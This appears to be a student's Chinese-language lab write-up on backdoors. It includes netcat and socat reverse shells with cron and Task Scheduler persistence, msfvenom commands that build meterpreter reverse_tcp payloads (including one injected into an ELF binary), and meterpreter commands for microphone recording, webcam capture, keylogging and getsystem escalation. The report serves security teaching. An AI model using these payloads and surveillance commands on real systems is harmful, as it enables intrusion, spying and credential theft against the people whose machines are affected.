gaoyiming  

1. 实验内容

  • 学习内容:

    (1)从狭义上理解了后门的原理、后门一般通过什么方式被安装、安装后门后如何应用、以及如何预防后门

    (2)常用后门工具的使用,例如:netcat,socat,MSF meterpreter

    (3)使用上述工具对后门进行实践攻击的方法

  • 回答问题:

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    答:直接发送攻击性钓鱼链接给你,恶意网站种马,点击链接后后门即被安装到系统里。
    

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    答:开机自启动、win的定时任务计划、linux的cron。
    

    (3)Meterpreter有哪些给你印像深刻的功能?

    答:它的渗透攻击很强大,给我印象很深,比如record_mic可以远程进行录音;keyscan类的命令,可以获取用户击键记录,意味着可以获取用户输入的用户名和密码等关键信息;还有webcam_snap渗透进摄像头拍摄,可以得到使用者的肖像等关键信息。
    

    (4)如何发现自己的系统有没有被安装后门?

    答:可以通过系统的异常行为判断,例如:任务管理器中的CPU、内存、网络带宽持续被未知进程占用;鼠标光标异常移动、键盘自动输入等。还可以检查系统和文件的记录,例如查看系统日志等。
    

2. 实验目标

(1)使用netcat获取主机的Shell,cron启动某项任务

(2)使用socat获取主机操作Shell,任务计划启动

(3)使用MSF meterpreter生成后门,利用nc或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并进行提权

(5)使用MSF生成一个shellcode,注入到实验1中的pwn1中,获取反弹连接的Shell

3. 实验过程

3.1 实验环境:使用kali镜像的虚拟机

image

3.2 实验内容一:使用netcat获取主机的shell,cron启动某项任务

3.2.1 实验准备

  • linux上一般自带netcat,所以只需在windows上安装netcat

image

3.2.2 linux获得win的shell

  • linux开始监听指定端口(2405是学号),等待win反弹连接(-l表示监听模式,-p表示使用指定端口)

image

  • linux中打开另一个终端,输入以下命令,查看上述指定端口是否正在监听(listen)

image

  • linux中查看虚拟机的ip

image

  • win端发起反弹连接:将win中的cmd发送到linux的ip和指定端口,linux将接管该cmd的使用权(-e是用来指定执行的程序,这里是cmd.exe)

image

  • linux中成功看到win中的cmd命令提示

image

3.2.3 在linux中通过cron设置定时任务,使win获得linux的shell(任务选择:定时自动反弹连接shell)

  • 在linux中,cron是一个定时的任务调度工具,能够周期性的自动执行某个任务。我们使用指令crontab -e(-e表示编辑)打开cron表,使用方法2进行编辑

image

  • 之后进入该文件,在文件结尾处加入下图中的命令,命令含义是在每小时的16分钟,将该主机的shell发送到目标主机ip的指定端口上,造成该主机的shell被其他主机接管,前提是目标ip的指定端口处于监听状态(目标ip会随着所在局域网的变化而改变,要注意更新)

image

  • 保存文件修改并退出后,输入命令crontab -l查看修改后的文件(-l表示列出所有定时的任务),发现成功修改

image

  • 目标主机先进入监听状态,等待时间到达16分时,目标主机上成功自动连接到该主机的shell!

image

3.3 实验内容二:使用socat获取主机操作Shell,任务计划启动

3.3.1 实验准备

  • linux上一般自带socat,所以只需在windows上安装socat,找到并直接解压socat即可

image

  • 关闭主机对于socat的防火墙

image

3.3.2 linux获得win的shell

  • socat相当于增强版的ncat,实现的原理部分类似,通过监听端口,然后发送终端进行接管。首先在win的cmd中使用如图命令,该命令的含义是进行tcp监听2405端口,将本机的cmd与外部来的连接请求进行绑定,在一个终端中进行交互,并且附带错误输出的信息

image

  • 在linux上输入如图命令,通过socat进行tcp连接到ip为192.168.1.104(目标机)的2405端口,成功获得了win发送的cmd!

image

3.3.3 任务计划定时启动

  • 接下来要实现win中cmd定时连接到linux上,先在win的cmd中输入taskschd.msc,打开任务计划程序,点击右侧创建任务,名称随便设置,触发器配置如下

image

  • 操作界面配置如下,程序选择socat的路径,参数添加“tcp-listen:2405 exec:cmd.exe,pty,stderr”即上述cmd中监听的命令,最后点击确定就配置好了

image

  • 在左侧任务计划程序库中可以找到刚配置的socat任务,检查配置内容无误

image

  • 在linux中使用如下命令连接到win的cmd上,等待定时连接成功后,即进入cmd界面如下

image

3.4 实验内容三:使用MSF meterpreter生成后门,利用nc或socat传送到主机并运行获取主机Shell

3.4.1 实验准备

  • 该实验需要使用metaspolit的msfvenom指令,通过meterpreter这个程序生成一个后门的可执行文件,在目标机中运行该文件,攻击方监听可以得到目标机的shell进而控制目标机

  • 本次实验中,我是用linux作为攻击方,win作为目标机,linux的ip是192.168.217.133,win的ip是192.168.1.104,所以我们需要生成可执行文件后在win中运行,linux进行监听并获得可输入的shell

3.4.2 生成后门可执行文件

  • 在linux中输入命令"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.133 LPORT=2405 -f exe > 20232405gym_bd.exe",生成后门的可执行文件,其中-p是使用payload,后面的字符串就是,LHOST是要连回的即攻击方的ip,-f是文件类型,在该实验中选择exe,最后重定向到文件20232405gym_bd.exe中

image

3.4.3 运行后门文件获取shell

  • 先通过共享文件夹将linux中创建的后门可执行文件传到windows上

image

  • 在linux上使用msfconsole打开控制台,按如图输入后打开监听进程,此时正在进行监听

image

  • 在win中双击后门程序运行,在linux中即可连接到win中的shell,如图展示了共享文件夹share中的文件目录

image

3.5 实验内容四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并进行提权

3.5.1 获取目标主机音频、摄像头、击键记录等内容

  • 在实验内容三中最后linux中获取的meterpreter shell上,输入一些命令获取目标机信息

record_mic //通过目标机麦克风获取音频

image

image

webcam_snap //通过目标机摄像头拍照获取照片

image

image

screenshot //获取目标机屏幕截图

image

image

keyscan_start //开始记录键盘输入
keyscan_dump //停止键盘记录,导出从start到现在已捕获的内容并显示
keyscan_stop //结束击键记录

一次完整的击键记录如下,注意看记录内容!

image

3.5.2 进行提权

先使用getuid显示win的用户名,再用getsystem进行提权,提示got system即提权成功,最后再用getuid显示用户名发现已经变成了管理员

image

3.6 实验内容五:使用MSF生成一个shellcode,注入到实验1中的pwn1中,获取反弹连接的Shell

3.6.1 生成shell并注入到pwn20232405_3中

  • 使用上述的msfvenom的命令"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.217.133 LPORT=2405 -x pwn20232405_3 -f elf > 20232405_pwn",这个命令使用msfvenom将一个linux的后门注入到pwn20232405_3并生成一个新文件20232405_pwn

image

3.6.2 运行程序,获取shell

  • 为20232405_pwn文件添加可执行权限"chmod +x 20232405_pwn"

image

  • 打开一个新终端,使用msfconsole打开控制台,根据下图中的命令输入,准备进行监听

image

  • 在原终端中运行20232405_pwn后门文件,控制台成功获取shell!

image

4. 问题及解决方案

  • 问题一:在内容一中要让win获得的linux的shell,需要linux在cron表中把win的ip地址存入,才能将shell发送到win上,但是开始时总是提示我不正确
    解决一:通过询问老师发现,我使用的win的ip是虚拟网卡的ip,而不是主机的ip,主机的ip是会随着局域网的变化而改变的,更换ip后成功获得shell

image

  • 问题二:在实现任务计划的时候,设置好任务后,总是时而可以获取,时而不能获取
    解决二:在配置任务的时候,在常规界面中,需要勾选下面的“不管是否登录都要运行”选项,这样不用保持一直在线的状态就可以获取shell

image

  • 问题三:在创建好后门程序后,要将其传入win中,我选择使用共享文件夹,但是创建共享文件夹之后无法登录
    解决三:在创建共享文件夹时需要在linux中使用命令samba,在其配置文件中需要添加允许访问的用户才可以使用。此外,我发现还可以在linux中找到后门程序,直接复制粘贴到win中,同样可以使用

  • 问题四:在使用msf生成shellcode注入到后门文件中后,开始监听后提示有错误
    解决四:这个后门时运行在linux上的,所以上述msf命令不能直接照搬,需要把windows改为linux/x86,修改之后成功

5. 学习感悟、思考

通过本次实验,我对远程控制工具和后渗透技术有了更深入的认识和更熟练的操作,实验内容主要关于学习netcat,socat,meterpreter的使用,了解了后门的实现原理,以及如何能与运行一个后门;此外,后门的定时任务计划让我感到细思极恐,因为如果你的电脑被安装了一个定时后门,那么别人就可以定时的控制你的电脑了,更何况有可以随时控制的后门的话,那就会感觉在网络上自己好像裸体一样;还有使用实验中生成的后门可以控制目标机的麦克风,摄像头,屏幕截图甚至键盘操作等,让我进一步了解了后门的强大。

总的来说,这次实验不仅提升了我的动手能力,更让我对网络攻防的对抗有了更深入的理解,明白了网络攻防是不可分的,攻即是防,防即是攻,学会了攻击也是为了能够更好的防御,这对我以后网络攻防的学习以及之后到工作中有很大的帮助。

参考资料

0x21_MAL_后门原理与实践.md

后渗透Meterpreter常用命令记录

posted on 2025-10-22 14:36  20232405高一鸣  阅读(16)  评论(0)    收藏  举报